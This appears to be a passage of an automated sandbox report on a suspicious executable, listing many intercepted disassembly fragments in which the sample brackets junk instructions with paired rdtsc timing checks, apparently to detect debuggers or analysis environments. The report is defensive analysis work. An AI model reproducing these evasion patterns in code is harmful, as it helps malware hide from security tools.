Source: C:\Users\user\Desktop\Ry6ot1YULB.exeRDTSC instruction interceptor: First address: 17AB3A7 second address: 17AB3CC instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F7B20B24F85h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pushad 0x0000000a jnp 00007F7B20B24F78h 0x00000010 push eax 0x00000011 push eax 0x00000012 push edx 0x00000013 rdtsc
Source: C:\Users\user\Desktop\Ry6ot1YULB.exeRDTSC instruction interceptor: First address: 17AB4D5 second address: 17AB4E1 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 jng 00007F7B2139E586h 0x0000000c rdtsc
Source: C:\Users\user\Desktop\Ry6ot1YULB.exeRDTSC instruction interceptor: First address: 17AB4E1 second address: 17AB4F1 instructions: 0x00000000 rdtsc 0x00000002 push esi 0x00000003 pop esi 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 push edx 0x00000008 jns 00007F7B20B24F76h 0x0000000e push edi 0x0000000f pop edi 0x00000010 rdtsc
Source: C:\Users\user\Desktop\Ry6ot1YULB.exeRDTSC instruction interceptor: First address: 17AB4F1 second address: 17AB511 instructions: 0x00000000 rdtsc 0x00000002 push edx 0x00000003 pop edx 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 push eax 0x00000009 push edx 0x0000000a push eax 0x0000000b push edx 0x0000000c jmp 00007F7B2139E592h 0x00000011 push eax 0x00000012 push edx 0x00000013 rdtsc
Source: C:\Users\user\Desktop\Ry6ot1YULB.exeRDTSC instruction interceptor: First address: 17AB511 second address: 17AB515 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\Ry6ot1YULB.exeRDTSC instruction interceptor: First address: 17AB515 second address: 17AB51F instructions: 0x00000000 rdtsc 0x00000002 jl 00007F7B2139E586h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a rdtsc
Source: C:\Users\user\Desktop\Ry6ot1YULB.exeRDTSC instruction interceptor: First address: 17AB51F second address: 17AB525 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\Ry6ot1YULB.exeRDTSC instruction interceptor: First address: 17AB525 second address: 17AB529 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\Ry6ot1YULB.exeRDTSC instruction interceptor: First address: 17B6B6F second address: 17B6B82 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jnp 00007F7B20B24F76h 0x0000000a pop eax 0x0000000b pop edi 0x0000000c push ebx 0x0000000d push eax 0x0000000e push edx 0x0000000f pushad 0x00000010 popad 0x00000011 push eax 0x00000012 push edx 0x00000013 rdtsc
Source: C:\Users\user\Desktop\Ry6ot1YULB.exeRDTSC instruction interceptor: First address: 17B6B82 second address: 17B6B86 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\Ry6ot1YULB.exeRDTSC instruction interceptor: First address: 17B6B86 second address: 17B6B8A instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\Ry6ot1YULB.exeRDTSC instruction interceptor: First address: 17B6CE4 second address: 17B6D1F instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F7B2139E591h 0x00000007 jmp 00007F7B2139E595h 0x0000000c pop edx 0x0000000d pop eax 0x0000000e pop eax 0x0000000f push eax 0x00000010 push edx 0x00000011 ja 00007F7B2139E58Eh 0x00000017 rdtsc
Source: C:\Users\user\Desktop\Ry6ot1YULB.exeRDTSC instruction interceptor: First address: 17B8E87 second address: 17B8E8B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\Ry6ot1YULB.exeRDTSC instruction interceptor: First address: 17B8E8B second address: 17B8E8F instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\Ry6ot1YULB.exeRDTSC instruction interceptor: First address: 17BA76D second address: 17BA7AD instructions: 0x00000000 rdtsc 0x00000002 push ebx 0x00000003 pushad 0x00000004 popad 0x00000005 push edx 0x00000006 pop edx 0x00000007 pop ebx 0x00000008 push ecx 0x00000009 pushad 0x0000000a popad 0x0000000b jmp 00007F7B20B24F81h 0x00000010 pop ecx 0x00000011 pop edx 0x00000012 pop eax 0x00000013 push eax 0x00000014 push edx 0x00000015 push eax 0x00000016 push edx 0x00000017 ja 00007F7B20B24F76h 0x0000001d jmp 00007F7B20B24F87h 0x00000022 rdtsc
Source: C:\Users\user\Desktop\Ry6ot1YULB.exeRDTSC instruction interceptor: First address: 17BA7AD second address: 17BA7D4 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F7B2139E58Bh 0x00000007 jp 00007F7B2139E586h 0x0000000d pop edx 0x0000000e pop eax 0x0000000f jmp 00007F7B2139E592h 0x00000014 rdtsc
Source: C:\Users\user\Desktop\Ry6ot1YULB.exeRDTSC instruction interceptor: First address: 17BF042 second address: 17BF046 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\Ry6ot1YULB.exeRDTSC instruction interceptor: First address: 17BF046 second address: 17BF064 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F7B2139E590h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pop edx 0x0000000a je 00007F7B2139E59Ah 0x00000010 pushad 0x00000011 push eax 0x00000012 push edx 0x00000013 rdtsc
Source: C:\Users\user\Desktop\Ry6ot1YULB.exeRDTSC instruction interceptor: First address: 17CBDA1 second address: 17CBDB5 instructions: 0x00000000 rdtsc 0x00000002 jbe 00007F7B20B24F76h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a jmp 00007F7B20B24F7Ah 0x0000000f rdtsc
Source: C:\Users\user\Desktop\Ry6ot1YULB.exeRDTSC instruction interceptor: First address: 17CBDB5 second address: 17CBDBA instructions: 0x00000000 rdtsc 0x00000002 push edx 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\Ry6ot1YULB.exeRDTSC instruction interceptor: First address: 17DACAC second address: 17DACCE instructions: 0x00000000 rdtsc 0x00000002 ja 00007F7B20B24F78h 0x00000008 push eax 0x00000009 push edx 0x0000000a jmp 00007F7B20B24F86h 0x0000000f rdtsc
Source: C:\Users\user\Desktop\Ry6ot1YULB.exeRDTSC instruction interceptor: First address: 17D963B second address: 17D963F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\Ry6ot1YULB.exeRDTSC instruction interceptor: First address: 17D963F second address: 17D9643 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\Ry6ot1YULB.exeRDTSC instruction interceptor: First address: 17D9643 second address: 17D9649 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\Ry6ot1YULB.exeRDTSC instruction interceptor: First address: 17D97F9 second address: 17D97FF instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\Ry6ot1YULB.exeRDTSC instruction interceptor: First address: 17D97FF second address: 17D9803 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\Ry6ot1YULB.exeRDTSC instruction interceptor: First address: 17D9803 second address: 17D982D instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F7B20B24F84h 0x00000007 jmp 00007F7B20B24F82h 0x0000000c pop edx 0x0000000d pop eax 0x0000000e rdtsc
Source: C:\Users\user\Desktop\Ry6ot1YULB.exeRDTSC instruction interceptor: First address: 17D982D second address: 17D9834 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push edi 0x00000004 pop edi 0x00000005 push eax 0x00000006 push edx 0x00000007 rdtsc
Source: C:\Users\user\Desktop\Ry6ot1YULB.exeRDTSC instruction interceptor: First address: 17D9834 second address: 17D9851 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F7B20B24F85h 0x00000009 popad 0x0000000a pushad 0x0000000b push eax 0x0000000c push edx 0x0000000d rdtsc
Source: C:\Users\user\Desktop\Ry6ot1YULB.exeRDTSC instruction interceptor: First address: 17D9ABE second address: 17D9AC4 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\Ry6ot1YULB.exeRDTSC instruction interceptor: First address: 17D9AC4 second address: 17D9AC9 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 rdtsc
Source: C:\Users\user\Desktop\Ry6ot1YULB.exeRDTSC instruction interceptor: First address: 17D9AC9 second address: 17D9AE1 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007F7B2139E594h 0x00000009 rdtsc
Source: C:\Users\user\Desktop\Ry6ot1YULB.exeRDTSC instruction interceptor: First address: 17D9AE1 second address: 17D9AFD instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F7B20B24F7Dh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pop edx 0x0000000a pop eax 0x0000000b jo 00007F7B20B24F90h 0x00000011 pushad 0x00000012 push eax 0x00000013 push edx 0x00000014 rdtsc
Source: C:\Users\user\Desktop\Ry6ot1YULB.exeRDTSC instruction interceptor: First address: 17D9AFD second address: 17D9B09 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 pushad 0x00000007 popad 0x00000008 popad 0x00000009 push ebx 0x0000000a push eax 0x0000000b push edx 0x0000000c rdtsc
Source: C:\Users\user\Desktop\Ry6ot1YULB.exeRDTSC instruction interceptor: First address: 17D9B09 second address: 17D9B0F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\Ry6ot1YULB.exeRDTSC instruction interceptor: First address: 17D9C8F second address: 17D9CBC instructions: 0x00000000 rdtsc 0x00000002 jnc 00007F7B2139E586h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a jmp 00007F7B2139E597h 0x0000000f pop ecx 0x00000010 push esi 0x00000011 push eax 0x00000012 push edx 0x00000013 push ebx 0x00000014 pop ebx 0x00000015 jl 00007F7B2139E586h 0x0000001b rdtsc
Source: C:\Users\user\Desktop\Ry6ot1YULB.exeRDTSC instruction interceptor: First address: 17DE328 second address: 17DE336 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007F7B20B24F7Ah 0x00000009 rdtsc
Source: C:\Users\user\Desktop\Ry6ot1YULB.exeRDTSC instruction interceptor: First address: 181E827 second address: 181E83E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F7B2139E58Fh 0x00000009 popad 0x0000000a push edi 0x0000000b push eax 0x0000000c push edx 0x0000000d rdtsc
Source: C:\Users\user\Desktop\Ry6ot1YULB.exeRDTSC instruction interceptor: First address: 182AC37 second address: 182AC3B instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\Ry6ot1YULB.exeRDTSC instruction interceptor: First address: 18F357B second address: 18F358F instructions: 0x00000000 rdtsc 0x00000002 push ebx 0x00000003 pop ebx 0x00000004 pop edx 0x00000005 pop eax 0x00000006 jl 00007F7B2139E592h 0x0000000c je 00007F7B2139E586h 0x00000012 push eax 0x00000013 push edx 0x00000014 rdtsc
Source: C:\Users\user\Desktop\Ry6ot1YULB.exeRDTSC instruction interceptor: First address: 18F358F second address: 18F3593 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\Ry6ot1YULB.exeRDTSC instruction interceptor: First address: 18F3593 second address: 18F3598 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\Ry6ot1YULB.exeRDTSC instruction interceptor: First address: 18F3598 second address: 18F35A7 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push ebx 0x00000005 pop ebx 0x00000006 push edx 0x00000007 pop edx 0x00000008 push esi 0x00000009 pop esi 0x0000000a popad 0x0000000b push eax 0x0000000c push edx 0x0000000d push esi 0x0000000e pop esi 0x0000000f rdtsc
Source: C:\Users\user\Desktop\Ry6ot1YULB.exeRDTSC instruction interceptor: First address: 18F35A7 second address: 18F35B8 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 push esi 0x00000009 jng 00007F7B2139E58Ch 0x0000000f push eax 0x00000010 push edx 0x00000011 rdtsc
Source: C:\Users\user\Desktop\Ry6ot1YULB.exeRDTSC instruction interceptor: First address: 18F35B8 second address: 18F35BF instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 push eax 0x00000006 push edx 0x00000007 rdtsc
Source: C:\Users\user\Desktop\Ry6ot1YULB.exeRDTSC instruction interceptor: First address: 18F23E6 second address: 18F23EA instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\Ry6ot1YULB.exeRDTSC instruction interceptor: First address: 18F23EA second address: 18F23FD instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 push eax 0x00000008 push edx 0x00000009 push eax 0x0000000a jl 00007F7B20B24F76h 0x00000010 push edi 0x00000011 pop edi 0x00000012 pop eax 0x00000013 rdtsc
Source: C:\Users\user\Desktop\Ry6ot1YULB.exeRDTSC instruction interceptor: First address: 18F257E second address: 18F25A0 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F7B2139E593h 0x00000009 popad 0x0000000a push eax 0x0000000b push edx 0x0000000c push ebx 0x0000000d pop ebx 0x0000000e jo 00007F7B2139E586h 0x00000014 rdtsc
Source: C:\Users\user\Desktop\Ry6ot1YULB.exeRDTSC instruction interceptor: First address: 18F25A0 second address: 18F25AA instructions: 0x00000000 rdtsc 0x00000002 jp 00007F7B20B24F76h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a rdtsc
Source: C:\Users\user\Desktop\Ry6ot1YULB.exeRDTSC instruction interceptor: First address: 18F25AA second address: 18F25B7 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 pushad 0x00000004 popad 0x00000005 jg 00007F7B2139E586h 0x0000000b push eax 0x0000000c push edx 0x0000000d rdtsc
Source: C:\Users\user\Desktop\Ry6ot1YULB.exeRDTSC instruction interceptor: First address: 18F29BD second address: 18F29D8 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F7B20B24F83h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push edx 0x0000000a push ecx 0x0000000b pop ecx 0x0000000c pop edx 0x0000000d rdtsc
Source: C:\Users\user\Desktop\Ry6ot1YULB.exeRDTSC instruction interceptor: First address: 18F29D8 second address: 18F29F0 instructions: 0x00000000 rdtsc 0x00000002 push ebx 0x00000003 push edi 0x00000004 pop edi 0x00000005 pop ebx 0x00000006 push eax 0x00000007 push edx 0x00000008 pushad 0x00000009 popad 0x0000000a jmp 00007F7B2139E58Eh 0x0000000f rdtsc
Source: C:\Users\user\Desktop\Ry6ot1YULB.exeRDTSC instruction interceptor: First address: 18F29F0 second address: 18F2A16 instructions: 0x00000000 rdtsc 0x00000002 jne 00007F7B20B24F76h 0x00000008 push ebx 0x00000009 pop ebx 0x0000000a pop edx 0x0000000b pop eax 0x0000000c pop edx 0x0000000d pop eax 0x0000000e push eax 0x0000000f push edx 0x00000010 push eax 0x00000011 push edx 0x00000012 jmp 00007F7B20B24F82h 0x00000017 pushad 0x00000018 popad 0x00000019 rdtsc
Source: C:\Users\user\Desktop\Ry6ot1YULB.exeRDTSC instruction interceptor: First address: 18F2A16 second address: 18F2A27 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F7B2139E58Dh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\Ry6ot1YULB.exeRDTSC instruction interceptor: First address: 18F2FE1 second address: 18F2FE7 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\Ry6ot1YULB.exeRDTSC instruction interceptor: First address: 18F2FE7 second address: 18F2FF6 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop eax 0x00000005 push eax 0x00000006 push edx 0x00000007 push eax 0x00000008 pop eax 0x00000009 ja 00007F7B2139E586h 0x0000000f rdtsc
Source: C:\Users\user\Desktop\Ry6ot1YULB.exeRDTSC instruction interceptor: First address: 18F317D second address: 18F3181 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\Ry6ot1YULB.exeRDTSC instruction interceptor: First address: 18F3181 second address: 18F3185 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\Ry6ot1YULB.exeRDTSC instruction interceptor: First address: 18F3185 second address: 18F318B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\Ry6ot1YULB.exeRDTSC instruction interceptor: First address: 18F318B second address: 18F3191 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\Ry6ot1YULB.exeRDTSC instruction interceptor: First address: 18F3191 second address: 18F31B0 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F7B20B24F86h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pushad 0x0000000a push eax 0x0000000b push edx 0x0000000c push eax 0x0000000d push edx 0x0000000e rdtsc
Source: C:\Users\user\Desktop\Ry6ot1YULB.exeRDTSC instruction interceptor: First address: 18F31B0 second address: 18F31B4 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\Ry6ot1YULB.exeRDTSC instruction interceptor: First address: 18F32F5 second address: 18F3303 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 push ecx 0x00000007 pop ecx 0x00000008 popad 0x00000009 push esi 0x0000000a pushad 0x0000000b popad 0x0000000c push eax 0x0000000d push edx 0x0000000e rdtsc
Source: C:\Users\user\Desktop\Ry6ot1YULB.exeRDTSC instruction interceptor: First address: 18F61A0 second address: 18F61AF instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 jmp 00007F7B2139E58Ah 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\Ry6ot1YULB.exeRDTSC instruction interceptor: First address: 18F6244 second address: 18F6268 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F7B20B24F80h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 popad 0x0000000a push eax 0x0000000b jo 00007F7B20B24F88h 0x00000011 push eax 0x00000012 push edx 0x00000013 jng 00007F7B20B24F76h 0x00000019 rdtsc
Source: C:\Users\user\Desktop\Ry6ot1YULB.exeRDTSC instruction interceptor: First address: 18F6268 second address: 18F626C instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\Ry6ot1YULB.exeRDTSC instruction interceptor: First address: 18F7748 second address: 18F774E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\Ry6ot1YULB.exeRDTSC instruction interceptor: First address: 18F774E second address: 18F776B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F7B2139E598h 0x00000009 popad 0x0000000a rdtsc
Source: C:\Users\user\Desktop\Ry6ot1YULB.exeRDTSC instruction interceptor: First address: 18F776B second address: 18F778C instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F7B20B24F87h 0x00000007 push eax 0x00000008 push edx 0x00000009 jns 00007F7B20B24F76h 0x0000000f rdtsc
Source: C:\Users\user\Desktop\Ry6ot1YULB.exeRDTSC instruction interceptor: First address: 18F9400 second address: 18F9404 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\Ry6ot1YULB.exeRDTSC instruction interceptor: First address: 18F9404 second address: 18F940A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\Ry6ot1YULB.exeRDTSC instruction interceptor: First address: 18F940A second address: 18F9410 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\Ry6ot1YULB.exeRDTSC instruction interceptor: First address: 18F8F18 second address: 18F8F1C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\Ry6ot1YULB.exeRDTSC instruction interceptor: First address: 75C0117 second address: 75C011B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\Ry6ot1YULB.exeRDTSC instruction interceptor: First address: 75C011B second address: 75C0138 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F7B20B24F89h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\Ry6ot1YULB.exeRDTSC instruction interceptor: First address: 75C0138 second address: 75C0165 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F7B2139E591h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 xchg eax, esi 0x0000000a jmp 00007F7B2139E58Eh 0x0000000f push eax 0x00000010 push eax 0x00000011 push edx 0x00000012 pushad 0x00000013 mov cx, DB9Fh 0x00000017 popad 0x00000018 rdtsc
Source: C:\Users\user\Desktop\Ry6ot1YULB.exeRDTSC instruction interceptor: First address: 75C0165 second address: 75C0186 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F7B20B24F85h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 xchg eax, esi 0x0000000a push eax 0x0000000b push edx 0x0000000c pushad 0x0000000d push edi 0x0000000e pop ecx 0x0000000f push eax 0x00000010 push edx 0x00000011 rdtsc
Source: C:\Users\user\Desktop\Ry6ot1YULB.exeRDTSC instruction interceptor: First address: 75C0186 second address: 75C018B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 rdtsc
Source: C:\Users\user\Desktop\Ry6ot1YULB.exeRDTSC instruction interceptor: First address: 75C018B second address: 75C01B8 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F7B20B24F82h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 mov esi, dword ptr [759B06ECh] 0x0000000f pushad 0x00000010 mov ebx, ecx 0x00000012 movzx ecx, bx 0x00000015 popad 0x00000016 test esi, esi 0x00000018 pushad 0x00000019 push eax 0x0000001a push edx 0x0000001b mov edx, 3CB3F644h 0x00000020 rdtsc
Source: C:\Users\user\Desktop\Ry6ot1YULB.exeRDTSC instruction interceptor: First address: 75C01B8 second address: 75C01CD instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F7B2139E58Dh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push eax 0x0000000a push edx 0x0000000b push esi 0x0000000c pop edi 0x0000000d rdtsc
Source: C:\Users\user\Desktop\Ry6ot1YULB.exeRDTSC instruction interceptor: First address: 75C01CD second address: 75C01F5 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 jne 00007F7B20B25F33h 0x0000000b pushad 0x0000000c jmp 00007F7B20B24F82h 0x00000011 mov bh, al 0x00000013 popad 0x00000014 push ebp 0x00000015 push eax 0x00000016 push edx 0x00000017 push eax 0x00000018 push edx 0x00000019 pushad 0x0000001a popad 0x0000001b rdtsc
Source: C:\Users\user\Desktop\Ry6ot1YULB.exeRDTSC instruction interceptor: First address: 75C01F5 second address: 75C0204 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F7B2139E58Bh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\Ry6ot1YULB.exeRDTSC instruction interceptor: First address: 75C0204 second address: 75C02A7 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F7B20B24F89h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 mov dword ptr [esp], edi 0x0000000c jmp 00007F7B20B24F7Eh 0x00000011 call dword ptr [75980B60h] 0x00000017 mov eax, 75F3E5E0h 0x0000001c ret 0x0000001d jmp 00007F7B20B24F80h 0x00000022 push 00000044h 0x00000024 pushad 0x00000025 mov eax, 419EC6ADh 0x0000002a push eax 0x0000002b pushfd 0x0000002c jmp 00007F7B20B24F89h 0x00000031 sbb esi, 4CDDF3B6h 0x00000037 jmp 00007F7B20B24F81h 0x0000003c popfd 0x0000003d pop eax 0x0000003e popad 0x0000003f pop edi 0x00000040 push eax 0x00000041 push edx 0x00000042 pushad 0x00000043 jmp 00007F7B20B24F88h 0x00000048 mov ecx, 6A8D31A1h 0x0000004d popad 0x0000004e rdtsc
Source: C:\Users\user\Desktop\Ry6ot1YULB.exeRDTSC instruction interceptor: First address: 75C02A7 second address: 75C02FA instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 pushfd 0x00000004 jmp 00007F7B2139E58Dh 0x00000009 adc cx, 4676h 0x0000000e jmp 00007F7B2139E591h 0x00000013 popfd 0x00000014 movzx eax, dx 0x00000017 popad 0x00000018 pop edx 0x00000019 pop eax 0x0000001a push edx 0x0000001b jmp 00007F7B2139E598h 0x00000020 mov dword ptr [esp], edi 0x00000023 push eax 0x00000024 push edx 0x00000025 pushad 0x00000026 movsx edx, si 0x00000029 mov edx, ecx 0x0000002b popad 0x0000002c rdtsc
Source: C:\Users\user\Desktop\Ry6ot1YULB.exeRDTSC instruction interceptor: First address: 75C02FA second address: 75C0310 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 jmp 00007F7B20B24F81h 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\Ry6ot1YULB.exeRDTSC instruction interceptor: First address: 75C0310 second address: 75C0332 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 pop edx 0x00000006 pop eax 0x00000007 push dword ptr [eax] 0x00000009 jmp 00007F7B2139E58Ch 0x0000000e mov eax, dword ptr fs:[00000030h] 0x00000014 pushad 0x00000015 push eax 0x00000016 push edx 0x00000017 mov si, 6CB3h 0x0000001b rdtsc
Source: C:\Users\user\Desktop\Ry6ot1YULB.exeRDTSC instruction interceptor: First address: 75C03C7 second address: 75C03F4 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F7B20B24F7Fh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 popad 0x0000000a mov esi, eax 0x0000000c push eax 0x0000000d push edx 0x0000000e jmp 00007F7B20B24F85h 0x00000013 rdtsc
Source: C:\Users\user\Desktop\Ry6ot1YULB.exeRDTSC instruction interceptor: First address: 75C03F4 second address: 75C044A instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push ebx 0x00000004 pop esi 0x00000005 pushfd 0x00000006 jmp 00007F7B2139E593h 0x0000000b adc ecx, 22CD31FEh 0x00000011 jmp 00007F7B2139E599h 0x00000016 popfd 0x00000017 popad 0x00000018 pop edx 0x00000019 pop eax 0x0000001a test esi, esi 0x0000001c push eax 0x0000001d push edx 0x0000001e pushad 0x0000001f mov bx, 875Eh 0x00000023 call 00007F7B2139E58Fh 0x00000028 pop eax 0x00000029 popad 0x0000002a rdtsc
